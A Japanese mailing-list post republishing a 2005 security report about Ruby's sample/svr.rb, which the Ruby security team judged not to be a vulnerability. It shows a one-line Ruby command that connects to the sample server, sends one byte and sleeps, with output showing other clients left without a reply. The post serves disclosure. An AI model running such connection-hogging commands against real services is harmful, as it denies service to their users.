以前、sample/svr.rb について次のような報告を security / ruby-lang.org に送ったのですが、これは脆弱性ではな いということで脆弱性情報公開という形では公開は行われないそう です。 そこでここに公開します。 | From: Tanaka Akira <akr / m17n.org> | Subject: sample/svr.rb DoS vulnerability | To: security / ruby-lang.org | Date: Mon, 04 Jul 2005 13:33:11 +0900 | Content-Type: text/plain; charset=ISO-2022-JP | Message-ID: <874qbbxk9u.fsf / m17n.org> | | sample/svr.rb は次のようにすると DoS 攻撃が可能なように思います。 | | まず、サーバを起動します。 | | server: % ./ruby sample/svr.rb | server: server is on 33641:0.0.0.0:0.0.0.0 | | 次のようにして DoS 攻撃を行います。 | | attacker: % ./ruby -rsocket -e 'TCPSocket.open("localhost", 33641) {|s| s.print "a"; sleep }' | | そうすると、server が接続を受け付けます。 | | server: #<TCPServer:0x401c64f4> is accepted | | ここで、他のクライアントが次のようにして接続しても、返事が返ってきません。 | | client: % ./ruby sample/clnt.rb 33641 | client: Trying localhost ... done | client: addr: AF_INET:33647:serein:127.0.0.1 | client: peer: AF_INET:33641:serein:127.0.0.1 | client: a -- [田中 哲][たなか あきら][Tanaka Akira]